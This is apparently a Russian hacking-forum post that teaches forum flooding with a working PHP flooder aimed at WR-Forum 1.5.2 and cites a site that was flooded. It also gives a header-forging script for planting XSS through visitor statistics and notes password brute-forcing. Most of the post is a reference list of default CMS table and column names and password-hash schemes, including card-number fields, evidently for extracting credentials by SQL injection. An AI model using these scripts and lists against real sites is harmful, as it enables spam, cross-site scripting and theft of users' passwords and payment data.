- флудеры, регеры, досеры Флудер - программа/скрипт цель которой создать большое кол-во сообщений/тем на форуме (гостевой и т.д.), ничего полезного этим добиться нельзя (самое ужасное что ждёт админа форума это потратить время на очистку от флуда (хотя если скрипт написан криво, то есть возможность нарушить его работу, но такое бывает редко)) (собственно в большинстве случаев такими программами пользуются школьники лет 11-13, которые не могут придумать ничего более серьезного). Регеры - программы/скрипты цель который зарегистрировать большое кол-во аккаунтов, елси же в регерах асек или мыльников есть хоть какой то толк (всё это нареганное добро можно будет продать в дальнейшем), то от регера акков на форуме (гостевой и т.д.) толку нет, кроме того что бы прибавить работу админу (модеру и т.д.). Досеры - программы цель которых создать большое кол-во соединений, которые загрузят атакуемый сервак после чего его работа будет нарушена на какое то время (ввиду того что ачат против доса, работу таких программ расматривать не будем). Напишем простой флудер, для не большого форума WR-Forum версии 1.5.2 Скачать сам скрипт форума можно здесь: http://woweb.ru/load/56-1-0-3745 Смотрим страницу создания новой темы, видим форму: Code: <form action="index.php?event=addtopic&fid=1" method=post name=REPLIER><input type=text class=post name=name size=23> <input type=text class=post name=email size=24><br><input type=text class=post name=zag maxlength=60 size=50><br> <textarea class=post cols=100 rows=6 name=msg></textarea> <BR><input type=submit class=mainoption value=' Добавить '></td></form> Здесь нам понадобится это: Путь до обрабатывающего данные скрипта: action=index.php?event=addtopic&fid= Имена переменных: name=name name=zag name=msg И смотрим какой тип передачи данных post или get Тип передачи данных post, напишем на php не большой скрипт: PHP: <?php $host = 'localhost'; // адрес сайта без http:// к примеру site.ru $path = '/forum/'; // путь до форума, к примеру /forum/ $n = 100; // число тем, которые будут созданы. $path .= 'index.php?event=addtopic&fid=1'; for($i = 0; $i < $n; $i++) { $sock = fsockopen($host, '80'); $data = 'name='.$i.'&zag='.$i.'&msg='.$i; // имена переменных берём отсюда: input type=text class=post name=name size=23 $len = strlen($data); $headers = "POST $path HTTP/1.1\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $len\r\n\r\n$data\r\nConnection: close\r\n\r\n"; fputs($sock, $headers); fclose($sock); } ?> Делать подробное описание каждого оператора и функции нет смысла - тот, кто знаком с php напишет такой скрипт минут за 5, а те кто не знаком с php врятли поймут что либо, читая описание каждой строки этого скрипта. Поэтому для тех кто не знает php я подобрал небольшую сборку статей (или даже вырезок из статей) на тему передачи данных. все необходимые файлы приаттачены к посту. Суть этого флудера сводится к установке соединения и передачи данных, которые передавались бы из формы отправки. Результат работы скрипта можно наблюдать здесь: __http://ce__nt__er.uct.ua/for__um/?fid=1 (уберити из сылки "__") Написать по аналогии регер не сложно. Единственный момент, это всевозможная защита (ограничение по времени, картинка с кодом) - написать флудер для хорошо защищённого форума (гостевой и т.д. сложно). Хотя если защита сделана криво, к примеру есть гостевые книги в которых защита сводится к проверки сообщения на сходство с предыдущим (т.е. нельзя написать два одинаковых сообщения), то в нашем случае такая защита будет бесполезна (т.к. текст сообщения здесь меняется). Если защита от флуда сделана надлежащим образом, то писать флудер который будет обходить защиту и тратить на это время, не рационально, т.к. особого толка от него не будет (долгое время работы и не большой результат). - x-forward-for, client-ip, referer Раз речь зашла про передачу данных, то в кратце расскажу про подделку referer (ну и других переменных окружения). Было бы неплохо если бы кто нибудь более подробно раскрыл эту тему. Когды вы посещаете страницу, то ваш браузер передаёт некоторую о вас информацию, среди этой информации referer - страница с которой вы перешли на данный сайт, user-agent - информация о вашем браузере и операционной системы. На многих сайтах ведётся статистика, и многие не сильно продвинутые кодеры забывают фильтровать эти данные и как следствие (статистика как правило отображается) мы получаем активную xss. Для подделки этих данных существует достаточно большое кол-во программ/скриптов, привиду пример такого скрипта: PHP: <?php if($HTTP_POST_VARS['form1'] == 1): $host = $HTTP_POST_VARS['host']; $port = $HTTP_POST_VARS['port']; $path = $HTTP_POST_VARS['path']; $referer = $HTTP_POST_VARS['referer']; $user_agent = $HTTP_POST_VARS['user_agent']; $s = fsockopen($host,$port) or die ('Не удаётся присоединиться к хосту.<br>'); echo('Соединение установлено.<br>'.$s.'<hr><br>'); $headers = "GET $path HTTP/1.1\r\nHost: $host\r\nReferer: $referer\r\nUser-Agent: $user_agent\r\nConnection: close\r\n\r\n"; fputs($s, $headers); echo ('Данные переданы.<br>'.fgets($s)); fclose($s); else: ?> <table border='0' cellpadding='0' cellspacing='0' width='600'> <form method='post'> <input type='hidden' name='form1' value='1'> <tr> <td width='25%' height='30'>Host:</td> <td width='40%' height='30'><input type='text' name='host' size='25'></td> <td width='35%' height='30'><b>localhost</b></td> </tr> <tr> <td width='25%' height='30'>Port:</td> <td width='40%' height='30'><input type='text' name='port' size='4' value='80'></td> <td width='35%' height='30'><b>80</b></td> </tr> <tr> <td width='25%' height='30'>Path:</td> <td width='40%' height='30'><input type='text' name='path' size='25'></td> <td width='35%' height='30'><b>/dir/name.php</b></td> </tr> <tr> <td width='25%' height='30'>Referer:</td> <td width='40%' height='30'><input type='text' name='referer' size='25'></td> <td width='35%' height='30'><b>test1</b></td> </tr> <tr> <td width='25%' height='30'>User-agent:</td> <td width='40%' height='30'><input type='text' name='user_agent' size='25'></td> <td width='35%' height='30'><b>test2</b></td> </tr> <tr> <td width='100%' height='30' colspan=3><input type='submit' value='Enter'></td> </tr> </form> </table> <?php endif; ?> Простейший скрипт для подделки referer"а и user_agent"а. Что еще полезного можно сделать имея минимум знаний по протоколу HTTP/1.1 и php? Ну к примеру написать скрипт для брута паролей на сайте, суть проста отправлять данные и парсить страницу на наличие/отсутствие тех или иных слов указывающий на правильный/не правильный логин и пароль (правда конечно назвать такой брут рациональным способом взлома сложно). Вообще что бы лучше понять тему передачи данных не мешает просмотреть rfc2616 (мануал по протоколу HTTP/1.1) Вырезки из статей на тему передачи данных:
- имена таблиц\столбцов sql Invision Power Board Таблица с хешами паролей пользователей: PREFIX_members_converge Колонки с хешем пароля и солью: converge_pass_hash converge_pass_salt По умолчанию префикс: ibf Алгоритм хеширования: md5(md5($salt).md5($pass)) phpBB Таблица с хешами паролей пользователей: PREFIX_users Колонки с логином и хешем пароля: username user_password По умолчанию префикс: phpbb Алгоритм хеширования: md5($pass) YaBB SE (v 1.0.0) Таблица с хешами паролей пользователей: PREFIX_members Колонки с логином и хешем пароля: memberName passwd По умолчанию префикс: yabbse Board v3.0 Таблица с паролями пользователей: board000_users Колонки с логином и паролем: name password Пароль в чистом виде (не хеширован). При установке нет возможности изменить префикс. ITA Forum Таблица с хешами паролей пользователей: itaf_user Колонки с логином и хешем пароля: user_name user_pass Алгоритм хеширования: md5($pass) При установке нет возможности изменить префикс. XMB (1.5 Full) Таблица с хешами паролей пользователей: members Колонки с логином и хешем пароля: username password Алгоритм хеширования: md5($pass) UBB Threads (5.5) Таблица с паролями пользователей: w3t_Users Колонки с логином и паролем: U_Username U_Password RusBB (0.7) Таблица с паролями пользователей: users Колонки с логином и паролем: name pass Пароль в чистом виде (не хеширован). KerviNet Forum (1.1) Таблица с паролями пользователей: users Колонки с логином и паролем: name pass Пароль в чистом виде (не хеширован).
Default tables: PhpBB: [phpbb_users] username user_password user_email default hash: md5($pass) IPB: ibf_members_converge ibf_members ibf_sessions ipb.ibf_members forum.ibf_members ibf_admin_sessions ibf_conf_settings ibf_member_extra ibf_members_converge [ibf_members] name password default hash(IPB 2.x.x.): md5(md5($salt).md5($pass)) phpBB2: phpBB2.forum_users YaBB: yabb_settings yabbse_settings yabbse_members ITA Forum: itaf_user default hash: md5($pass) Board: board000_users XMB: [members] username password default hash: md5($pass) RusBB: [w3t_Users] U_Username U_Password KerviNet Forum: [users] name pass UBB Threads: w3t_Users Mambo: [mambo_session] session_id time username gid guest [mambo_users] name username email password sendEmail e107: e107_user e107.e107_user default hash: md5(md5($pass)) vBulletin: vbulletin_session vb_user [vbulletin_user] username email password salt homepage icq aim parentemail yahoo ipaddress msn default hash(vBulletin 3.x.x): md5(md5($pass).$salt) Koobi: kpro_adminlogs kpro_user kpro6_user kpro5_user koobi4_user MiniBB: minibbtable_users UseBB: usebb_members usebb_name MyBB: mybb_forums [mybb_users] username password salt email loginkey icq aim regip MercuryBoard: mb_users PunBB: punbb_users default hash: md5($pass) Pforum: phorum_user phorum_users phorum_session phpmyadmin: phpmyadmin.pma_table_info pma_table_info SMF: smf_members default hash(SMF 1.1.x.): sha1($username.$pass) Nuke: nuke_authors nuke_bbconfig nuke_config nuke_popsettings nuke_users Smallnuke: sn_admins sn_members OpenBB: obb_profiles phpfusion: fusion_new_users fusion_user_groups fusion_users 4images: 4images_users Phppgads: phpads_affiliates phpads_clients phpads_config Shop-Script: SS_orders shop.cards shop.orders XOOPS: xoops_bannerclient xoops_users osCommerce: cc_type cc_owner cc_number cc_expires Xaraya: xar_email xar_name xar_pass xar_roles xar_uid xar_uname i_xar_roles_email i_xar_roles_name Coppermine Photo Gallery: cpg_bridge cpg_config OsCommerce(shop): [address_book] entry_company entry_firstname entry_lastname entry_street_address entry_city entry_state admin_access [admin_access] configuration server_info whos_online accounting create_account customers_status coupon_admin mail credits blacklist [banktransfer] banktransfer_owner banktransfer_number banktransfer_bankname banktransfer_blz banktransfer_status banktransfer_prz banktransfer_fax [customers] customers_email_address customers_password password_request_key Voodoo chat: voodoo_members BlastChat: jos_blastchatc_users jos_comprofiler_members jos_joomblog_users jos_messages_cfg jos_moschat_users jos_users Other chat: chat_config chat_users Default fields:[user/grop/id/member/nick/account] Code: group groups group_id group_id_misc member_name member_id news_user memberid memberids membersid membersids news_users user_id users_id userid userids usersid usersids membername membernames usr usrs group_name membergroupids usergroupid account clients client adid admin_id adm admin admins administrator administrators adminlogin users nick nicks name names usrlogin usr_login userlogin user_login usr_name usename use_name username user_name nickname nick_name user_nick nickuser nick_user nickusers nick_users accounts auth_user auth_users reg_users member members reguser regusers reg_user displaygroupid login_name id uid login userlogin user_id ids id_group id_member id_members userlogin userlogins user logins username usersname user_name user_table user_website [mail] Code: email e-mail mail email_full email_pm emailaddress emailnotification emailonpm emailstamp member members pntomail sendemail showemail szemailaddress user_email user_hide_email user_viewemail admin_email adminemail adminmail blogmail_account blogmail_password board_email cansendemail ci_email converge_email parentemail [session] sid sids sesskey session sessions session_id session_ip_address session_member_id session_member_login_key session_member_name [hash/salt] converge_pass_hash converge_pass_salt hash hashsalt md5hash salt hashsalt [config/setting] settings setting config conf configs customers customer [password] Code: parol lostpass lost_pass lostpasswords lost_passwords user_pass users_pass userpassword passwd customers_password pass pw pwd users_password user_passwords userpass temppass temp_pass temppasword temp_password admin_pw admin_pwd user_pass user_password user_newpasswd user_password userpassword alb_password clientpassword login_pw login_pwd userpw user_pw passtemp passwd password passwords auth_pwd auth_pw auth_passwd auth_passwds auth_password auth_passwords authpasswords auth_password authpasswd authpasswds user_newpwdkey passworddate passwordsalt Default columns: Code: personal_key last_login userip user_level text data status phone tbl tbls news logs log statistics test orders order articles article links main info content contact contacts dealer dealers client clients partner partners author authors key keys aid aim aim_name album_id albumname ci_accountname cid clientid clientname clientusername converge_id db_database_name db_hostname db_password db_username fid forumname gid homepage icq icq_number ip ip_addr ip_address ipaddress languageid last_ip lastname legacy_password license_number login login_anonymous loginkey mapid member_login_key memberip msnname org_perm_id page_id pid realname referenceid referrerid regip registration_ip reputationlevelid secretanswer secretquestion short_name smtp_host smtp_password smtp_username styleid table_prefix user user_aim user_icq user_id user_ip userlogin version website zip thx: [53x]Shadow
update: e107: [e107_user] user_name user_password phpfusion: [fusion_users] user_name user_password user_email user_hide_email user_aim user_icq user_msn user_yahoo user_web default hash: md5($password)